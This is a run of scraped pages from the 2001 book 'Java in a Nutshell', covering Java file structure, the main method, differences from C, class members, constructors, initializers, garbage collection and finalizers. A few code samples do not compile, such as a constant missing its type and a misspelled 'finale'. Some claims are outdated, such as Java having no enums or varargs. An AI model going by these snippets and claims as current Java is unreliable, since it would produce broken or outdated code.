This chapter has taken us from the smallest to the largest elements of Java syntax, from individual characters and tokens to operators, expressions, statements, and methods, and on up to classes and packages. From a practical standpoint, the unit of Java program structure you will be dealing with most often is the Java file. A Java file is the smallest unit of Java code that can be compiled by the Java compiler. A Java file consists of:

  • An optional package directive

  • Zero or more import directives

  • One or more class definitions

These elements can be interspersed with comments, of course, but they must appear in this order. This is all there is to a Java file. All Java statements (except the package and import directives, which are not true statements) must appear within methods, and all methods must appear within a class definition.

There are a couple of other important restrictions on Java files. First, each file can contain at most one class that is declared public. A public class is one that is designed for use by other classes in other packages. We'll talk more about public and related modifiers in Chapter 3, "Object-Oriented Programming in Java". This restriction on public classes only applies to top-level classes; a class can contain any number of nested or inner classes that are declared public, as we'll see in Chapter 3, "Object-Oriented Programming in Java".

The second restriction concerns the filename of a Java file. If a Java file contains a public class, the name of the file must be the same as the name of the class, with the extension .java appended. Thus, if Point is defined as a public class, its source code must appear in a file named Point.java. Regardless of whether your classes are public or not, it is good programming practice to define only one per file and to give the file the same name as the class.

When a Java file is compiled, each of the classes it defines is compiled into a separate class file that contains Java byte codes to be interpreted by the Java Virtual Machine. A class file has the same name as the class it defines, with the extension .class appended. Thus, if the file Point.java defines a class named Point, a Java compiler compiles it to a file named Point.class. On most systems, class files are stored in directories that correspond to their package names. Thus, the class com.davidflanagan.jude.DataFile is defined by the class file com/davidflanagan/jude/DataFile.class.

The Java interpreter knows where the class files for the standard system classes are located and can load them as needed. When the interpreter runs a program that wants to use a class named com.davidflanagan.jude.DataFile, it knows that the code for that class is located in a directory named com/davidflanagan/jude and, by default, it "looks" in the current directory for a subdirectory of that name. In order to tell the interpreter to look in locations other than the current directory, you must use the -classpath option when invoking the interpreter or set the CLASSPATH environment variable. For details, see the documentation for the Java interpreter, java, in Chapter 8, "Java Development Tools".

Previous | Home | Next
2.11. Packages and the Java Namespace | Book Index | 2.13. Defining and Running Java Programs
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Defining and Running Java Programs (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.13. Defining and Running Java Programs

A Java program consists of a set of interacting class definitions. But not every Java class or Java file defines a program. To create a program, you must define a class that has a special method with the following signature:

public static void main(String args[])

This main() method is the main entry point for your program. It is where the Java interpreter starts running. This method is passed an array of strings and returns no value. When main() returns, the Java interpreter exits (unless main() has created separate threads, in which case the interpreter waits for all those threads to exit).

To run a Java program, you run the Java interpreter, java, specifying the fully qualified name of the class that contains the main() method. Note that you specify the name of the class, not the name of the class file that contains the class. Any additional arguments you specify on the command line are passed to the main() method as its String[] parameter. You may also need to specify the -classpath option to tell the interpreter to look for the classes needed by the program. Consider the following command:

C:\> java -classpath /usr/local/Jude com.davidflanagan.jude.Jude datafile.jude

java is the command to run the Java interpreter. -classpath /usr/local/Jude tells the interpreter where to look for .class files. com.davidflanagan.jude.Jude is the name of the program to run (i.e., the name of the class that defines the main() method). Finally, datafile.jude is a string that is passed to that main() method as the single element of an array of String objects.

In Java 1.2, there is an easier way to run programs. If a program and all its auxiliary classes (except those that are part of the Java platform) have been properly bundled in a Java archive ( JAR) file, you can run the program simply by specifying the name of the JAR file:

C:\> java -jar /usr/local/Jude/jude.jar datafile.jude

Some operating systems make JAR files automatically executable. On those systems, you can simply say:

C:\> /usr/local/Jude/jude.jar datafile.jude

See Chapter 8, "Java Development Tools" for details.

Previous | Home | Next
2.12. Java File Structure | Book Index | 2.14. Differences Between C and Java
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Differences Between C and Java (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

2.14. Differences Between C and Java

If you are a C or C++ programmer, you should have found much of the syntax of Java--particularly at the level of operators and statements--to be familiar. Because Java and C are so similar in some ways, it is important for C and C++ programmers to understand where the similarities end. There are a number of important differences between C and Java, which are summarized in the following list:

No preprocessor

Java does not include a preprocessor and does not define any analogs of the #define, #include, and #ifdef directives. Constant definitions are replaced with staticfinal fields in Java. (See the java.lang.Math.PI field for an example.) Macro definitions are not available in Java, but advanced compiler technology and inlining has made them less useful. Java does not require an #include directive because Java has no header files. Java class files contain both the class API and the class implementation, and the compiler reads API information from class files as necessary. Java lacks any form of conditional compilation, but its cross-platform portability means that this feature is very rarely needed.

No global variables

Java defines a very clean namespace. Packages contain classes, classes contain fields and methods, and methods contain local variables. But there are no global variables in Java, and, thus, there is no possibility of namespace collisions among those variables.

Well-defined primitive type sizes

All the primitive types in Java have well-defined sizes. In C, the size of short, int, and long types is platform-dependent, which hampers portability.

No pointers

Java classes and arrays are reference types, and references to objects and arrays are akin to pointers in C. Unlike C pointers, however, references in Java are entirely opaque. There is no way to convert a reference to a primitive type, and a reference cannot be incremented or decremented. There is no address-of operator like &, dereference operator like * or −>, or sizeof operator. Pointers are a notorious source of bugs. Eliminating them simplifies the language and makes Java programs more robust and secure.

Garbage collection

The Java Virtual Machine performs garbage collection so that Java programmers do not have to explicitly manage the memory used by all objects and arrays. This feature eliminates another entire category of common bugs and all but eliminates memory leaks from Java programs.

No goto statement

Java doesn't support a goto statement. Use of goto except in certain well-defined circumstances is regarded as poor programming practice. Java adds exception handling and labeled break and continue statements to the flow-control statements offered by C. These are a good substitute for goto.

Variable declarations anywhere

C requires local variable declarations to be made at the beginning of a method or block, while Java allows them anywhere in a method or block. Many programmers prefer to keep all their variable declarations grouped together at the top of a method, however.

Forward references

The Java compiler is smarter than the C compiler, in that it allows methods to be invoked before they are defined. This eliminates the need to declare functions in a header file before defining them in a program file, as is done in C.

Method overloading

Java programs can define multiple methods with the same name, as long as the methods have different parameter lists.

No struct and union types

Java doesn't support C struct and union types. A Java class can be thought of as an enhanced struct, however.

No enumerated types

Java doesn't support the enum keyword used in C to define types that consist of fixed sets of named values. This is surprising for a strongly typed language like Java, but there are ways to simulate this feature with object constants.

No bitfields

Java doesn't support the (infrequently used) ability of C to specify the number of individual bits occupied by fields of a struct.

No typedef

Java doesn't support the typedef keyword used in C to define aliases for type names. Java's lack of pointers makes its type-naming scheme simpler and more consistent than C's, however, so many of the common uses of typedef are not really necessary in Java.

No method pointers

C allows you to store the address of a function in a variable and pass this function pointer to other functions. You cannot do this with Java methods, but you can often achieve similar results by passing an object that implements a particular interface. Also, a Java method can be represented and invoked through a java.lang.reflect.Method object.

No variable-length argument lists

Java doesn't allow you to define methods such as C's printf() that take a variable number of arguments. Method overloading allows you to simulate C varargs functions for simple cases, but there's no general replacement for this feature.

Previous | Home | Next
2.13. Defining and Running Java Programs | Book Index | 3. Object-Oriented Programming in Java
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Object-Oriented Programming in Java (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 3. Object-Oriented Programming in Java

Contents:

The Members of a Class
Creating and Initializing Objects
Destroying and Finalizing Objects
Subclasses and Inheritance
Data Hiding and Encapsulation
Abstract Classes and Methods
Interfaces
Inner Class Overview
Static Member Classes
Member Classes
Local Classes
Anonymous Classes
How Inner Classes Work
Modifier Summary
C++ Features Not Found in Java

Java is an object-oriented programming language. As we discussed in Chapter 2, "Java Syntax from the Ground Up", all Java programs use objects, and every Java program is defined as a class. The previous chapter explained the basic syntax of the Java programming language, including data types, operators, and expressions, and even showed how to define simple classes and work with objects. This chapter continues where that one left off, explaining the details of object-oriented programming in Java.

If you do not have any object-oriented (OO) programming background, don't worry; this chapter does not assume any prior experience. If you do have experience with OO programming, however, be careful. The term "object-oriented" has different meanings in different languages. Don't assume that Java works the same way as your favorite OO language. This is particularly true for C++ programmers. We saw in the last chapter that close analogies can be drawn between Java and C. The same is not true for Java and C++, however. Java uses object-oriented programming concepts that are familiar to C++ programmers and even borrows C++ syntax in a number of places, but the similarities between Java and C++ are not nearly as strong as those between Java and C. Don't let your experience with C++ lull you into a false familiarity with Java.

3.1. The Members of a Class

As we discussed in Chapter 2, "Java Syntax from the Ground Up", a class is a collection of data, stored in named fields, and code, organized into named methods, that operates on that data. The fields and methods are called members of a class. In Java 1.1 and later, classes can also contain other classes. These member classes, or inner classes, are an advanced feature that is discussed later in the chapter. For now, we are going to discuss only fields and methods. The members of a class come in two distinct types: class, or static, members are associated with the class itself, while instance members are associated with individual instances of the class (i.e., with objects). Ignoring member classes for now, this gives us four types of members:

  • Class fields

  • Class methods

  • Instance fields

  • Instance methods

The simple class definition for the class Circle, shown in Example 3-1, contains all four types of members.

Example 3-1. A Simple Class and its Members

public class Circle {
  // A class field
  public static final double PI= 3.14159;     // A useful constant

  // A class method: just compute a value based on the arguments
  public static double radiansToDegrees(double rads) {
    return rads * 180 / PI;
  }

  // An instance field
  public double r;                  // The radius of the circle

  // Two instance methods: they operate on the instance fields of an object
  public double area() {            // Compute the area of the circle
    return PI * r * r;
  }
  public double circumference() {   // Compute the circumference of the circle
    return 2 * PI * r;
  }
}

3.1.1. Class Fields

A classfield is associated with the class in which it is defined, rather than with an instance of the class. The following line declares a class field:

public static final double PI = 3.14159;

This line declares a field of type double named PI and assigns it a value of 3.14159. As you can see, a field declaration looks quite a bit like the local variable declarations we discussed in Chapter 2, "Java Syntax from the Ground Up". The difference, of course, is that variables are defined within methods, while fields are members of classes.

The static modifier says that the field is a class field. Class fields are sometimes called static fields because of this static modifier. The final modifier says that the value of the field does not change. Since the field PI represents a constant, we declare it final so that it cannot be changed. It is a convention in Java (and many other languages) that constants are named with capital letters, which is why our field is named PI, not pi. Defining constants like this is a common use for class fields, meaning that the static and final modifiers are often used together. Not all class fields are constants, however. In other words, a field can be declared static without declaring it final. Finally, the public modifier says that anyone can use the field. This is a visibility modifier, and we'll discuss it and related modifiers in more detail later in this chapter.

The key point to understand about a static field is that there is only a single copy of it. This field is associated with the class itself, not with instances of the class. If you look at the various methods of the Circle class, you'll see that they use this field. From inside the Circle class, the field can be referred to simply as PI. Outside the class, however, both class and field names are required to uniquely specify the field. Methods that are not part of Circle access this field as Circle.PI.

A class field is essentially a global variable. The names of class fields are qualified by the unique names of the classes that contain them, however. Thus, Java does not suffer from the name collisions that can affect other languages when different modules of code define global variables with the same name.

3.1.2. Class Methods

As with class fields, classmethods are declared with the static modifier:

public static double radiansToDegrees(double rads) { return rads * 180 / PI; }

This line declares a class method named radiansToDegrees(). It has a single parameter of type double and returns a double value. The body of the method is quite short; it performs a simple computation and returns the result.

Like class fields, class methods are associated with a class, rather than with an object. When invoking a class method from code that exists outside the class, you must specify both the name of the class and the method. For example:

// How many degrees is 2.0 radians?
double d = Circle.radiansToDegrees(2.0);

If you want to invoke a class method from inside the class in which it is defined, you don't have to specify the class name. However, it is often good style to specify the class name anyway, to make it clear that a class method is being invoked.

Note that the body of our Circle.radiansToDegrees() method uses the class field PI. A class method can use any class fields and class methods of its own class (or of any other class). But it cannot use any instance fields or instance methods because class methods are not associated with an instance of the class. In other words, although the radiansToDegrees() method is defined in the Circle class, it does not use any Circle objects. The instance fields and instance methods of the class are associated with Circle objects, not with the class itself. Since a class method is not associated with an instance of its class, it cannot use any instance methods or fields.

As we discussed earlier, a class field is essentially a global variable. In a similar way, a class method is a global method, or global function. Although radiansToDegrees() does not operate on Circle objects, it is defined within the Circle class because it is a utility method that is sometimes useful when working with circles. In many non-object-oriented programming languages, all methods, or functions, are global. You can write complex Java programs using only class methods. This is not object-oriented programming, however, and does not take advantage of the power of the Java language. To do true object-oriented programming, we need to add instance fields and instance methods to our repertoire.

3.1.3. Instance Fields

Any field declared without the static modifier is an instancefield :

public double r;    // The radius of the circle

Instance fields are associated with instances of the class, rather than with the class itself. Thus, every Circle object we create has its own copy of the double field r. In our example, r represents the radius of a circle. Thus, each Circle object can have a radius independent of all other Circle objects.

Inside a class definition, instance fields are referred to by name alone. You can see an example of this if you look at the method body of the circumference() instance method. In code outside the class, the name of an instance method must be prepended by a reference to the object that contains it. For example, if we have a Circle object named c, we can refer to its instance field r as c.r:

Circle c = new Circle(); // Create a new Circle object; store it in variable c
c.r = 2.0;               // Assign a value to its instance field r
Circle d = new Circle(); // Create a different Circle object
d.r = c.r * 2;           // Make this one twice as big

Instance fields are key to object-oriented programming. Instance fields define an object; the values of those fields make one object distinct from another.

3.1.4. Instance Methods

Any method not declared with the static keyword is an instance method. An instancemethod operates on an instance of a class (an object) instead of operating on the class itself. It is with instance methods that object-oriented programming starts to get interesting. The Circle class defined in Example 3-1 contains two instance methods, area() and circumference(), that compute and return the area and circumference of the circle represented by a given Circle object.

To use an instance method from outside the class in which it is defined, we must prepend a reference to the instance that is to be operated on. For example:

Circle c = new Circle();   // Create a Circle object; store in variable c
c.r = 2.0;                 // Set an instance field of the object
double a = c.area();       // Invoke an instance method of the object

If you're new to object-oriented programming, that last line of code may look a little strange. I did not write:

a = area(c);

Instead, I wrote:

a = c.area();

This is why it is called object-oriented programming; the object is the focus here, not the function call. This small syntactic difference is perhaps the single most important feature of the object-oriented paradigm.

The point here is that we don't have to pass an argument to c.area(). The object we are operating on, c, is implicit in the syntax. Take a look at Example 3-1 again. You'll notice the same thing in the signature of the area() method: it doesn't have a parameter. Now look at the body of the area() method: it uses the instance field r. Because the area() method is part of the same class that defines this instance field, the method can use the unqualified name r. It is understood that this refers to the radius of whatever Circle instance invokes the method.

Another important thing to notice about the bodies of the area() and circumference() methods is that they both use the class field PI. We saw earlier that class methods can use only class fields and class methods, not instance fields or methods. Instance methods are not restricted in this way: they can use any member of a class, whether it is declared static or not.

3.1.4.1. How instance methods work

Consider this line of code again:

a = c.area();

What's going on here? How can a method that has no parameters know what data to operate on? In fact, the area() method does have a parameter. All instance methods are implemented with an implicit parameter not shown in the method signature. The implicit argument is named this; it holds a reference to the object through which the method is invoked. In our example, that object is a Circle.

The implicit this parameter is not shown in method signatures because it is usually not needed; whenever a Java method accesses the fields in its class, it is implied that it is accessing fields in the object referred to by the this parameter. The same is true when an instance method invokes another instance method in the same class. I said earlier that to invoke an instance method you must prepend a reference to the object to be operated on. When an instance method is invoked within another instance method in the same class, however, you don't need to specify an object. In this case, it is implicit that the method is being invoked on the this object.

You can use the this keyword explicitly when you want to make it clear that a method is accessing its own fields and/or methods. For example, we can rewrite the area() method to use this explicitly to refer to instance fields:

public double area() {
  return Circle.PI * this.r * this.r;
}

This code also uses the class name explicitly to refer to class field PI. In a method this simple, it is not necessary to be explicit. In more complicated cases, however, you may find that it increases the clarity of your code to use an explicit this where it is not strictly required.

There are some cases in which the this keyword is required, however. For example, when a method parameter or local variable in a method has the same name as one of the fields of the class, you must use this to refer to the field, since the field name used alone refers to the method parameter or local variable. For example, we can add the following method to the Circle class:

public void setRadius(double r) {
  this.r = r;      // Assign the argument (r) to the field (this.r)
                   // Note that we cannot just say r = r
}

Finally, note that while instance methods can use the this keyword, class methods cannot. This is because class methods are not associated with objects.

3.1.4.2. Instance methods or class methods?

Instance methods are one of the key features of object-oriented programming. That doesn't mean, however, that you should shun class methods. There are many cases in which is is perfectly reasonable to define class methods. When working with the Circle class, for example, you might find there are many times you want to compute the area of a circle with a given radius, but don't want to bother creating a Circle object to represent that circle. In this case, a class method is more convenient:

public static double area(double r) { return PI * r * r; }

It is perfectly legal for a class to define more than one method with the same name, as long as the methods have different parameters. Since this version of the area() method is a class method, it does not have an implicit this parameter and must have a parameter that specifies the radius of the circle. This parameter keeps it distinct from the instance method of the same name.

As another example of the choice between instance methods and class methods, consider defining a method named bigger() that examines two Circle objects and returns whichever has the larger radius. We can write bigger() as an instance method as follows:

// Compare the implicit "this" circle to the "that" circle passed
// explicitly as an argument and return the bigger one.
public Circle bigger(Circle that) {
  if (this.r > that.r) return this;
  else return that;
}

We can also implement bigger() as a class method as follows:

// Compare circle a to circle b and return the one with the larger radius
public static Circle bigger(Circle a, Circle b) {
  if (a.r > b.r) return a;
  else return b;
}

Given two Circle objects, x and y, we can use either the instance method or the class method to determine which is bigger. The invocation syntax differs significantly for the two methods, however:

Circle biggest = x.bigger(y);          // Instance method: also y.bigger(x)
Circle biggest = Circle.bigger(x, y);  // Static method

Neither option is the correct choice. The instance method is more formally object-oriented, but its invocation syntax suffers from a kind of asymmetry. In a case like this, the choice between an instance method and a class method is simply a design decision. Depending on the circumstances, one or the other will likely be the more natural choice.

3.1.5. A Mystery Solved

As we saw in Chapter 1, "Introduction" and Chapter 2, "Java Syntax from the Ground Up", the way to display textual output to the terminal in Java is with a method named System.out.println(). Those chapters never explained why this method has such an long, awkward name or what those two periods are doing in it. Now that you understand class and instance fields and class and instance methods, it is easier to understand what is going on. Here's the story: System is a class. It has a class field named out. The field System.out refers to an object. The object System.out has an instance method named println(). Mystery solved! If you want to explore this in more detail, you can look up the java.lang.System class in Chapter 12, "The java.lang Package". The class synopsis there tells you that the field out is of type java.io.PrintStream, which you can look up in Chapter 11, "The java.io Package".

Previous | Home | Next
2.14. Differences Between C and Java | Book Index | 3.2. Creating and Initializing Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Creating and Initializing Objects (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.2. Creating and Initializing Objects

Take another look at how we've been creating Circle objects:

Circle c = new Circle();

What are those parentheses doing there? They make it look like we're calling a method. In fact, that is exactly what we're doing. Every class in Java has at least one constructor, which is a method that has the same name as the class and whose purpose is to perform any necessary initialization for a new object. Since we didn't explicitly define a constructor for our Circle class in Example 3-1, Java gave us a default constructor that takes no arguments and performs no special initialization.

Here's how a constructor works. The new operator creates a new, but uninitialized, instance of the class. The constructor method is then called, with the new object passed implicitly (a this reference, as we saw earlier), and whatever arguments that are specified between parentheses passed explicitly. The constructor can use these arguments to do whatever initialization is necessary.

3.2.1. Defining a Constructor

There is some obvious initialization we could do for our circle objects, so let's define a constructor. Example 3-2 shows a new definition for Circle that contains a constructor that lets us specify the radius of a new Circle object. The constructor also uses the this reference to distinguish between a method parameter and an instance field that have the same name.

Example 3-2. A Constructor for the Circle Class

public class Circle {
    public static final double PI = 3.14159;  // A constant
    public double r;   // An instance field that holds the radius of the circle

    // The constructor method: initialize the radius field
    public Circle(double r) { this.r = r; }

    // The instance methods: compute values based on the radius
    public double circumference() { return 2 * PI * r; }
    public double area() { return PI * r*r; }
}

When we relied on the default constructor supplied by the compiler, we had to write code like this to initialize the radius explicitly:

Circle c = new Circle();
c.r = 0.25;

With this new constructor, the initialization becomes part of the object creation step:

Circle c = new Circle(0.25);

Here are some important notes about naming, declaring, and writing constructors:

  • The constructor name is always the same as the class name.

  • Unlike all other methods, a constructor is declared without a return type, not even void.

  • The body of a constructor should initialize the this object.

  • A constructor should not return this or any other value.

3.2.2. Defining Multiple Constructors

Sometimes you want to initialize an object in a number of different ways, depending on what is most convenient in a particular circumstance. For example, we might want to initialize the radius of a circle to a specified value or a reasonable default value. Since our Circle class has only a single instance field, there aren't too many ways we can initialize it, of course. But in more complex classes, it is often convenient to define a variety of constructors. Here's how we can define two constructors for Circle:

public Circle() { r = 1.0; }
public Circle(double r) { this.r = r; }

It is perfectly legal to define multiple constructors for a class, as long as each constructor has a different parameter list. The compiler determines which constructor you wish based on the number and type of arguments you supply. This is simply an example of method overloading, which we discussed in Chapter 2, "Java Syntax from the Ground Up".

3.2.3. Invoking One Constructor from Another

There is a specialized use of the this keyword that arises when a class has multiple constructors; it can be used from a constructor to invoke one of the other constructors of the same class. In other words, we can rewrite the two previous Circle constructors as follows:

// This is the basic constructor: initialize the radius
public Circle(double r) { this.r = r; }
// This constructor uses this() to invoke the constructor above
public Circle() { this(1.0); }

The this() syntax is a method invocation that calls one of the other constructors of the class. The particular constructor that is invoked is determined by the number and type of arguments, of course. This is a useful technique when a number of constructors share a significant amount of initialization code, as it avoids repetition of that code. This would be a more impressive example, of course, if the one-parameter version of the Circle() constructor did more initialization than it does.

There is an important restriction on using this(): it can appear only as the first statement in a constructor. It may, of course, be followed by any additional initialization a particular version of the constructor needs to do. The reason for this restriction involves the automatic invocation of superclass constructor methods, which we'll explore later in this chapter.

3.2.4. Field Defaults and Initializers

Not every field of a class requires initialization. Unlike local variables, which have no default value and cannot be used until explicitly initialized, the fields of a class are automatically initialized to the default values shown in Table 3-2. Essentially, every field of a primitive type is initialized to a default value of false or zero, as appropriate. All fields of reference type are, by default, initialized to null. These default values are guaranteed by Java. If the default value of a field is appropriate, you can simply rely on it without explicitly initializing the field. This default initialization applies to both instance fields and class fields.

As we've seen, the syntax for declaring a field of a class is a lot like the syntax for declaring a local variable. Both class and instance field declarations can be followed by an equals sign and an initial value, as in:

public static final double PI = 3.14159;
public double r = 1.0;

As we discussed in Chapter 2, "Java Syntax from the Ground Up", a variable declaration is a statement that appears within a Java method; the variable initialization is performed when the statement is executed. Field declarations, however, are not part of any method, so they cannot be executed as statements are. Instead, the Java compiler generates instance-field initialization code automatically and puts it in the constructor or constructors for the class. The initialization code is inserted into a constructor in the order it appears in the source code, which means that a field initializer can use the initial values of fields declared before it. Consider the following code excerpt, which shows a constructor and two instance fields of a hypothetical class:

public class TestClass {
  ... public int len = 10;
  public int[] table = new int[len];

  public TestClass() {
    for(int i = 0; i < len; i++) table[i] = i;
  }

  // Rest of the class is omitted...
}

In this case, the code generated for the constructor is actually equivalent to the following:

public TestClass() {
  len = 10;
  table = new int[len];
  for(int i = 0; i < len; i++) table[i] = i;
}

If a constructor begins with a this() call to another constructor, the field initialization code does not appear in the first constructor. Instead, the initialization is handled in the constructor invoked by the this() call.

So, if instance fields are initialized in constructor methods, where are class fields initialized? These fields are associated with the class, even if no instances of the class are ever created, so they need to be initialized even before a constructor is called. To support this, the Java compiler generates a class initialization method automatically for every class. Class fields are initialized in the body of this method, which is guaranteed to be invoked exactly once before the class is first used (often when the class is first loaded). As with instance field initialization, class field initialization expressions are inserted into the class initialization method in the order they appear in the source code. This means that the initialization expression for a class field can use the class fields declared before it. The class initialization method is an internal method that is hidden from Java programmers. If you disassemble the byte codes in a Java class file, however, you'll see the class initialization code in a method named <clinit>.

3.2.4.1. Initializer blocks

So far, we've seen that objects can be initialized through the initialization expressions for their fields and by arbitrary code in their constructor methods. A class has a class initialization method, which is like a constructor, but we cannot explicitly define the body of this method as we can for a constructor. Java does allow us to write arbitrary code for the initialization of class fields, however, with a construct known as a static initializer. A static initializer is simply the keyword static followed by a block of code in curly braces. A static initializer can appear in a class definition anywhere a field or method definition can appear. For example, consider the following code that performs some nontrivial initialization for two class fields:

// We can draw the outline of a circle using trigonometric functions
// Trigonometry is slow, though, so we precompute a bunch of values
public class TrigCircle {
  // Here are our static lookup tables and their own simple initializers
  private static final NUMPTS = 500;
  private static double sines[] = new double[NUMPTS];
  private static double cosines[] = new double[NUMPTS];

  // Here's a static initializer that fills in the arrays
  static {
    double x = 0.0, delta_x;
    delta_x = (Circle.PI/2)/(NUMPTS-1);
    for(int i = 0, x = 0.0; i < NUMPTS; i++, x += delta_x) {
      sines[i] = Math.sin(x);
      cosines[i] = Math.cos(x);
    }
  }
  // The rest of the class is omitted... }

A class can have any number of static initializers. The body of each initializer block is incorporated into the class initialization method, along with any static field initialization expressions. A static initializer is like a class method in that it cannot use the this keyword or any instance fields or instance methods of the class.

In Java 1.1 and later, classes are also allowed to have instance initializers. An instance initializer is like a static initializer, except that it initializes an object, not a class. A class can have any number of instance initializers, and they can appear anywhere a field or method definition can appear. The body of each instance initializer is inserted at the beginning of every constructor for the class, along with any field initialization expressions. An instance initializer looks just like a static initializer, except that it doesn't use the static keyword. In other words, an instance initializer is just a block of arbitrary Java code that appears within curly braces.

Instance initializers can initialize arrays or other fields that require complex initialization. They are sometimes useful because they locate the initialization code right next to the field, instead of separating it off in a constructor method. For example:

private static finale int NUMPTS = 100;
private int[] data = new int[NUMPTS];
{ for(int i = 0; i < NUMPTS; i++) data[i] = i; }

In practice, however, this use of instance initializers is fairly rare. Instance initializers were introduced in Java to support anonymous inner classes, and that is their main utility (we'll discuss anonymous inner classes later in this chapter).

Previous | Home | Next
3.1. The Members of a Class | Book Index | 3.3. Destroying and Finalizing Objects
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Destroying and Finalizing Objects (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.3. Destroying and Finalizing Objects

Now that we've seen how new objects are created and initialized in Java, we need to study the other end of the object life cycle and examine how objects are finalized and destroyed. Finalization is the opposite of initialization.

As I mentioned in Chapter 2, "Java Syntax from the Ground Up", the memory occupied by an object is automatically reclaimed when the object is no longer needed. This is done through a process known as garbagecollection. Garbage collection is not some newfangled technique; it has been around for years in languages such as Lisp. It just takes some getting used to for programmers accustomed to such languages as C and C++, in which you must call the free() method or the delete operator to reclaim memory. The fact that you don't need to remember to destroy every object you create is one of the features that makes Java a pleasant language to work with. It is also one of the features that makes programs written in Java less prone to bugs than those written in languages that don't support automatic garbage collection.

3.3.1. Garbage Collection

The Java interpreter knows exactly what objects and arrays it has allocated. It can also figure out which local variables refer to which objects and arrays, and which objects and arrays refer to which other objects and arrays. Thus, the interpreter is able to determine when an allocated object is no longer referred to by any other object or variable. When the interpreter finds such an object, it knows it can destroy the object safely and does so. The garbage collector can also detect and destroy cycles of objects that refer to each other, but are not referenced by any other active objects. Any such cycles are also reclaimed.

The Java garbage collector runs as a low-priority thread, so it does most of its work when nothing else is going on, such as during idle time while waiting for user input. The only time the garbage collector must run while something high-priority is going on (i.e., the only time it will actually slow down the system) is when available memory has become dangerously low. This doesn't happen very often because the low-priority thread cleans things up in the background.

This scheme may sound slow and wasteful of memory. Actually though, modern garbage collectors can be surprisingly efficient. Garbage collection will never be as efficient as well-written, explicit memory allocation and deallocation. But it does make programming a lot easier and less prone to bugs. And for most real-world programs, rapid development, lack of bugs, and easy maintenance are more important features than raw speed or memory efficiency.

3.3.2. Memory Leaks in Java

The fact that Java supports garbage collection dramatically reduces the incidence of a class of bugs known as memory leaks. A memory leak occurs when memory is allocated and never reclaimed. At first glance, it might seem that garbage collection prevents all memory leaks because it reclaims all unused objects. A memory leak can still occur in Java, however, if a valid (but unused) reference to an unused object is left hanging around. For example, when a method runs for a long time (or forever), the local variables in that method can retain object references much longer than they are actually required. The following code illustrates:

public static void main(String argso[]) {
  int big_array[] = new int[100000];

  // Do some computations with big_array and get a result.
  int result = compute(big_array);

  // We no longer need big_array. It will get garbage collected when there
  // are no more references to it. Since big_array is a local variable,
  // it refers to the array until this method returns. But this method
  // doesn't return. So we've got to explicitly get rid of the reference
  // ourselves, so the garbage collector knows it can reclaim the array.
  big_array = null;

  // Loop forever, handling the user's input
  for(;;) handle_input(result);
}

Memory leaks can also occur when you use a hashtable or similar data structure to associate one object with another. Even when neither object is required anymore, the association remains in the hashtable, preventing the objects from being reclaimed until the hashtable itself is reclaimed. If the hashtable has a substantially longer lifetime than the objects it holds, this can cause memory leaks.

3.3.3. Object Finalization

A finalizer in Java is the opposite of a constructor. While a constructor method performs initialization for an object, a finalizer method performs finalization for the object. Garbage collection automatically frees up the memory resources used by objects, but objects can hold other kinds of resources, such as open files and network connections. The garbage collector cannot free these resources for you, so you need to write a finalizer method for any object that needs to perform such tasks as closing files, terminating network connections, deleting temporary files, and so on.

A finalizer is an instance method that takes no arguments and returns no value. There can be only one finalizer per class, and it must be named finalize().[1] A finalizer can throw any kind of exception or error, but when a finalizer is automatically invoked by the garbage collector, any exception or error it throws is ignored and serves only to cause the finalizer method to return. Finalizer methods are typically declared protected (which we have not discussed yet), but can also be declared public. An example finalizer looks like this:

[1]C++ programmers should note that although Java constructor methods are named like C++ constructors, Java finalization methods are not named like C++ destructor methods. As we will see, they do not behave quite like C++ destructor methods, either.

protected void finalize() throws Throwable {
  // Invoke the finalizer of our superclass
  // We haven't discussed superclasses or this syntax yet
  super.finalize();

  // Delete a temporary file we were using
  // If the file doesn't exist or tempfile is null, this can throw
  // an exception, but that exception is ignored.
  tempfile.delete();
}

Here are some important points about finalizers:

  • If an object has a finalizer, the finalizer method is invoked sometime after the object becomes unused (or unreachable), but before the garbage collector reclaims the object.

  • Java makes no guarantees about when garbage collection will occur or in what order objects will be collected. Therefore, Java can make no guarantees about when (or even whether) a finalizer will be invoked, in what order finalizers will be invoked, or what thread will execute finalizers.

  • The Java interpreter can exit without garbage collecting all outstanding objects, so some finalizers may never be invoked. In this case, though, any outstanding resources are usually freed by the operating system. In Java 1.1, the Runtime method runFinalizersOnExit() can force the virtual machine to run finalizers before exiting. Unfortunately, however, this method can cause deadlock and is inherently unsafe; it has been deprecated as of Java 1.2. In Java 1.3, the Runtime method addShutdownHook() can safely execute arbitrary code before the Java interpreter exits.

  • After a finalizer is invoked, objects are not freed right away. This is because a finalizer method can resurrect an object by storing the this pointer somewhere so that the object once again has references. Thus, after finalize() is called, the garbage collector must once again determine that the object is unreferenced before it can garbage-collect it. However, even if an object is resurrected, the finalizer method is never invoked more than once. Resurrecting an object is never a useful thing to do--just a strange quirk of object finalization. As of Java 1.2, the java.lang.ref.PhantomReference class can implement an alternative to finalization that does not allow resurrection.

In practice, it is relatively rare for an application-level class to require a finalize() method. Finalizer methods are more useful, however, when writing Java classes that interface to native platform code with native methods. In this case, the native implementation can allocate memory or other resources that are not under the control of the Java garbage collector and need to be reclaimed explicitly by a nativefinalize() method.

While Java supports both class and instance initialization through static initializers and constructors, it provides only a facility for instance finalization. The original Java specification called for a classFinalize() method that could finalize a class when the class itself became unused and was unloaded from the VM. This feature was never implemented, however, and because it has proved to be unnecessary, class finalization has been removed from the language specification.

Previous | Home | Next
3.2. Creating and Initializing Objects | Book Index | 3.4. Subclasses and Inheritance
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Subclasses and Inheritance (Java in a Nutshell)

 Java Enterprise in a Nutshell Search this book

3.4. Subclasses and Inheritance

